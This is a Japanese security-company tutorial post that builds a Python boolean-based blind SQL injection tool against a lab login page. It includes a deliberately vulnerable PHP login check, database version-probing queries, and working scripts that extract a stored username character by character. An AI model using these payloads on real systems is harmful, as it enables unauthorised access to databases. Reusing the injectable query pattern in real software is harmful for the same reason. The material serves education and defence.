2020.03.09   その他

[Python] Pythonとセキュリティ – ③Pythonで作る SQL インジェクションツール

はじめに

前回([Python] Pythonとセキュリティ – ②Pythonで作るポートスキャニングツール)でPythonを利用して簡単なポートスキャニングツールを作ってみた。
今回はウェブ脆弱性の中で重要度が高い「SQL Injection」の理解を深める為、SQLインジェクションツール を作ってみよう。

許可を得ていない対象に実施するのは犯罪です。当該の記事で問題が発生した場合、弊社では一切責任を負い兼ねますのでご了承ください。

SQL Injectionとは

SQL Injectionは「Injection」攻撃の一つの種類で、クライアントの入力値がサーバのデータベースに送信され、データーベースの操作、破棄、漏洩などを行う攻撃方法である。攻撃方法の難易度は低いがデータベースを直接攻撃するため、被害が大きい攻撃である。このようなInjectionの脆弱性の場合、スキャニングツールなどで発見される場合が多いため、ウェブの担当者は必ず完成されたウェブページにスキャニングツール等を利用して「Injection Vector」を事前に把握し、改善する必要がある。

Injection Vectorとは

Injection VectorとはSQL Injectionが挿入できるところである。
主にGET, POSTのメソッドのパラメータや、HTTP RequestのMessage Headerなどがある。

SQL Injectionの分類

SQL Injectionは主に「Non-Blind SQL Injection」「Blind SQL Injection」二つがある。
また、Non-Blind SQL Injectionには「Query Result SQL Injection」「Error Based SQL Injection」
Blind SQL Injectionには「Boolean-Based SQL Injection」「Time Based SQL Injection」がある。

発生原因

一般的に発生する原因はウェブページからデータベースに値が送信される際、SQLコマンドとして認識される値が検証されていないため、発生する場合が多い。

脆弱な検証

もし、下記の様にログインをチェックするコードがあると想定してみよう。

<?php
    $id=$_POST["id"];
    $pw=$_POST["pw"];
    $SQL="SELECT * FROM info WHERE id='$id' and pw='$pw'";
    $query=mysql_query($SQL,$DB);
    $query_arr=mysql_fetch_array($querry);
    if($rs_arr){
        header('Location: main.php'); //ログイン成功
     } else {
        header('Location: login.php'); //ログイン失敗
     }
?>

POSTで入力されたIDとPASSWORDはそれぞれ「id」と「pw」の変数に保存されて、SELECT文を利用して、データベースに照会する。その結果を「if」文を利用して、結果がある(1, True)場合、main.phpに移動させる。結果がない(0, False)場合、またlogin.phpに移動させるコードである。ログインの成功、失敗の動作もしているし、別に問題はなさそうだが実は大きな問題とみられるのが二つある。
1つ目は、入力されたIDとPWの検証を行っていない。ここで検証というのはIDとPWにSQLで利用する記号(「’」、「”」「#」など)に対して適切な変換または入力禁止とすることである。
2つ目はログインの成功失敗の判断が以下の通り、データベース参照結果のTrueとFalseである。

$query=mysql_query($SQL,$DB);

IDとPWを探すSELECT文を単純にデータベースに投げて

$query_arr=mysql_fetch_array($querry);

その次、データがある、つまりIDとPWがデータベースに一致したものがある場合、戻り値として1を返還する。
このようにそのIDとPWが本当にデータベースにあるかとは検証せずに、ただ戻り値が1であればログインの検証が終わってしまう。

攻撃の流れ

データベースのタイプ調査

ウェブページから使用されているデータベースは主に3つ(MY-SQL, MS-SQL, Oracle)がある。
基本的なSQL文法は似ているが、異なる文法があるため、まず、ウェブサーバがどのようなデータベースを使っているか確認が必要である。
確認方法ではウェブサーバが使用しているWASからの推測がある。
ASPやASP.NETの場合、「MS-SQL」
PHPの場合、「MY-SQL」
JSPの場合、「ORACLE」で推測できる。

データベースバージョンの調査

データベースのバージョンを確認することで、当該のバージョンが持っている脆弱性を利用することも可能である。
データベースのバージョンはInjection VectorにSQLバージョンを確認するクエリ文を投げて確認する。

MY-SQL

SELECT VERSION();
SHOW VARIABLES LIKE 'version';
SELECT @@version

MS-SQL

SELECT @@version

ORACLE

SELECT * FROM v$version WHERE banner LIKE 'Oracle%';
SELECT * FROM v$version;
SELECT * FROM PRODUCT_COMPONENT_VERSION;

SQLインジェクションツール を作って攻撃

上記でSQL Injectionの発生原因を調べてみた。SQL Injection攻撃はそのような脆弱な検証を利用して攻撃を行う。

requestsモジュールを利用してPythonで SQLインジェクションツール を作ってみよう

image.png
今回は事前に作った脆弱性があるウェブページを利用してSQL Injectionの脆弱性を確認するツールを作ってみる。
ここでは「Boolean-Based SQL Injection」の方法を利用する。
まず、「requests」モジュールを利用する
「request」モジュールはPythonからパケットを送信してくれるモジュールである。
まず、ログインの成功と失敗の動作はどうなってるか確認してみよう

image.png
【▲ ログインに成功すると、メニューが表示される】
image.png
image.png
【▲ ログインに失敗すると、エラーメッセージが表示される】
これで、ログインに成功するとメニュー画面がでて、ログインに失敗するとエラーメッセージが表示されるのを確認した。

image.png
また、URLにIDとPWのフォームデータが送信されることで、GETメソッドを利用してサーバに送信されるのも確認できた。

まず、IDとパスワードを調べるために、IDの長さを求めるコードを作成しよう。
今回は、精密な SQLインジェクションツール の作成が目標ではないため、データベースの保存されているIDを探すことのみソースコードとして作成してみる。
また、データベースに保存されいてるIDの中で一番長さが短いIDと限定する。

import requests

url = 'http://172.16.1.105/login_check.php'
length_id = 0 #IDの長さを保存する変数

while True: #IDの長さが20桁まで検証
    length_id=length_id+1 #1桁ずつ増やす
    sql = "' or char_length(username) = %s; #" % length_id #データベースのusername行の長さをチェックするSQL文を入れる
    para = {'id': sql, 'pw': '1'} #getパラメータにidは上記のSQLを、パスワードには適当に1を入れる
    send = requests.get(url,params=para) #パケットを送信する
    status_code = send.status_code #サーバの応答コードを変数に保存する
    if status_code != 200 : #ステータスが200じゃない場合、エラーを表示して中止する
        print("ステータスエラーです。")
        break
    #本文に「パスワードが正しくありません。」の内容が表示されるとIDの長さが合っているので長さを表示させる
    if "パスワードが正しくありません。" in send.text:
        print("IDは%d桁です。" % length_id)
        break
IDは2桁です。
>>>

次は、IDの長さを参考して、IDを調べてみよう。

import requests

url = 'http://172.16.1.105/login_check.php'

length_id = 2 #IDの長さを保存する変数
string_id = "" #IDを保存する変数
for len in range(1,length_id+1):
    for ascii in range(97,123): #小文字a~zのASCIIコードをループさせる
        #データベースに保存されている文字列と長さを比較してTueを探す
        sql = "' or ascii(substring(username,{},1)) = {} AND char_length(username) = {}; #".format(len,ascii,length_id)
        para = {'id': sql, 'pw': '1'}  #getパラメータにidは上記のSQLを、パスワードには適当に1を入れる
        send = requests.get(url, params=para)  #パケットを送信する
        status_code = send.status_code
        if status_code != 200 : #ステータスが200じゃない場合、エラーを表示して中止する
            print("ステータスエラーです。")
            break
        #本文に「パスワードが正しくありません。」の内容が表示されるとIDの長さや文字列が合っているので変数に保存する
        if "パスワードが正しくありません。" in send.text:
            string_id+=chr(ascii) #string_idの変数にASCIIコードをCHARデータがたで保存する

print("データベースに保存されいているID:%s" % string_id)
データベースに保存されいているID:yu
>>>

最終的に二つのソースコートを合わせて作ってみよう。

import requests

url = 'http://172.16.1.105/login_check.php'
length_id = 0 #IDの長さを保存する変数
string_id = "" #IDを保存する変数

while True: #IDの長さが20桁まで検証
    length_id=length_id+1 #1桁ずつ増やす
    sql = "' or char_length(username) = %s; #" % length_id #データベースのusername行の長さをチェックするSQL文を入れる
    para = {'id': sql, 'pw': '1'} #getパラメータにidは上記のSQLを、パスワードには適当に1を入れる
    send = requests.get(url,params=para) #パケットを送信する
    status_code = send.status_code #サーバの応答コードを変数に保存する
    if status_code != 200 : #ステータスが200じゃない場合、エラーを表示して中止する
        print("ステータスエラーです。")
        break
    #本文に「パスワードが正しくありません。」の内容が表示されるとIDの長さが合っているので長さを表示させる
    if "パスワードが正しくありません。" in send.text:
        print("IDは%d桁です。" % length_id)
        break
for len in range(1,length_id+1):
    for ascii in range(97,123): #小文字a~zのASCIIコードをループさせる
        #データベースに保存されている文字列と長さを比較してTueを探す
        sql = "' or ascii(substring(username,{},1)) = {} AND char_length(username) = {}; #".format(len,ascii,length_id)
        para = {'id': sql, 'pw': '1'}  #getパラメータにidは上記のSQLを、パスワードには適当に1を入れる
        send = requests.get(url, params=para)  #パケットを送信する
        status_code = send.status_code
        if status_code != 200 : #ステータスが200じゃない場合、エラーを表示して中止する
            print("ステータスエラーです。")
            break
        #本文に「パスワードが正しくありません。」の内容が表示されるとIDの長さや文字列が合っているので変数に保存する
        if "パスワードが正しくありません。" in send.text:
            string_id+=chr(ascii) #string_idの変数にASCIIコードをCHARデータがたで保存する

print("データベースに保存されいているID:%s" % string_id)
IDは2桁です。
データベースに保存されいているID:yu
>>> 

image.png
データベースに直接クエリを投げた見た結果、御覧のように実際存在しているIDということが確認できた。

まとめ

image.png
【▲ 2013年から2017年のOWASP TOP10変化】

ご覧のように、2017年にもOWASP TOP10の1位は「Injection」攻撃になっている。SQL Injectionを含め、Injection攻撃は攻撃原理、攻撃方法は単純であるが、その被害が大きいため、ハッカーから愛されている攻撃でもある。

今回はPythonでSQL Injectionツールを作ってみた。前もって作成していた脆弱性のページであり、データベースの構造を知っているため、通常よりも簡単で作成できたかもしれないが、セキュリティやシステムの担当者はこのように短いソースコードでSQL Injectionのツールが作れることに深刻性を気付いて万全な準備をする必要がある。

記事まとめ

2020年02月18日 – :sunny:[Python] Pythonとセキュリティ – ②Pythonで作るポートスキャニングツール
2020年02月14日 – :sunny:[Python] Pythonとセキュリティ – ①Pythonとは

Written by CYBERFORTRESS, INC.

サイバーフォートレス CYBERTHREATS TODAY 編集チーム

サイバーフォートレスは、サイバーセキュリティ対策を提供するセキュリティ専門企業です。

セキュリティ対策や、最新のセキュリティ脅威、サイバー攻撃のトレンドなど、当社が研究開発や情報収集した内容をもとに、最新のセキュリティ脅威・セキュリティ対策についてお伝えします。

関連記事

よく読まれている記事